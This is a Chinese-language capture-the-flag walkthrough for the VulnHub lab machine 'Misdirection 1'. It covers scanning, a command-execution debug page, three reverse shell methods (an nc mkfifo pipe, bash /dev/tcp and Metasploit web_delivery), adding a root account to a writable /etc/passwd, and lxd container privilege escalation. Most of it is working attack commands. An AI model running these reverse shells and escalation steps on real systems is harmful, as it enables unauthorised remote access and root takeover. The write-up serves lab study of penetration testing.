介绍
系列：Misdirection（此系列共1台）
发布日期：2019 年 9 月 24 日
难度：初级
运行环境：官方推荐Virtualbox，我使用的是VMware
补充：靶机容易被干崩，下手轻点
目标：取得 root 权限
学习：
- 主机发现
- 端口扫描+漏洞扫描
- 反弹shel
- passwd提权
- docker提权
靶机地址：https://www.vulnhub.com/entry/misdirection-1,371/
信息收集
主机发现
netdiscover主机发现
sudo netdiscover -i eth0 -r 192.168.229.0/24
主机信息探测
nmap发现了一些有趣的目录，疑似发现了sql注入，经核实为误报
nmap -p- 192.168.229.137
nmap -p22,80,3306,8080 -A 192.168.229.137
nmap -p22,80,3306,8080 --script=vuln 192.168.229.137
网站探测
80端口常规探测没有发现什么有趣的信息，但是nmap发现了8080端口的一个有趣目录：debug
访问之后如下图，很明显是个命令执行漏洞
反弹shell
介绍3种方法
方式1：使用nc
由于靶机的nc没有-e参数，可以通过这种方式getshell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.229.128 1234 >/tmp/f
扫描二维码关注公众号，回复：
15228962 查看本文章
方式2：使用bash
bash -c 'bash -i >& /dev/tcp/192.168.229.128/9999 0>&1'
方式3：使用MSF
通过“Wappalyzer”得知，页面是php的，因此payload类型设置为php
use exploit/multi/script/web_delivery
show options
show targets
set target 1
set payload php/meterpreter/reverse_tcp
set LHOST 192.168.229.128
exploit
sessions -i 1
shell
python -c 'import pty;pty.spawn("/bin/bash")'
复制生成的命令，粘贴到靶机上面，一旦运行，我们就会拿到一个shell，由于靶机是有python的，可以通过python获取一个交互式的shell
提权
sudo提权
通过sudo提权，切换身份为brexit
passwd提权
丢个提权检查脚本，发现/etc/passwd具有可写权限，可以提权；似乎还可以docker提权
普普通通的passwd文件配置不当提权
openssl passwd -1 -salt hack hack123
echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0:root:/root:/bin/bash' >> /etc/passwd
tail /etc/passwd
su hack
hack123
id
docker提权
提权脚本检查到，似乎可以做docker提权，那就试试吧。
- 下载镜像
Linux 容器映像构建可在此处找到：https://us.lxd.images.canonical.com/images。我决定使用 Alpine Linux 映像，找到一个合适的镜像，使用kali全部下载下来
wget --no-parent -r https://us.lxd.images.canonical.com/images/alpine/3.15/amd64/default/20230104_13:00/
cd /us.lxd.images.canonical.com/images/alpine/3.15/amd64/default/20230104_13:00
find . -name '*html*' -delete
tar -cvf alpine.tar ./*
- 投递镜像
kali开启web服务
python -m http.server 80
靶机下载解压
wget http://192.168.229.128/alpine.tar
mkdir alpine
tar -xvf alpine.tar -C alpine
cd alpine
- 手动导入容器映像
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list
lxd init
lxc init alpine alpinect -c security.privileged=true
lxc config device add alpinect pwndisk disk source=/ path=/mnt/root recursive=true
lxc start alpinect
lxc exec alpinect /bin/sh
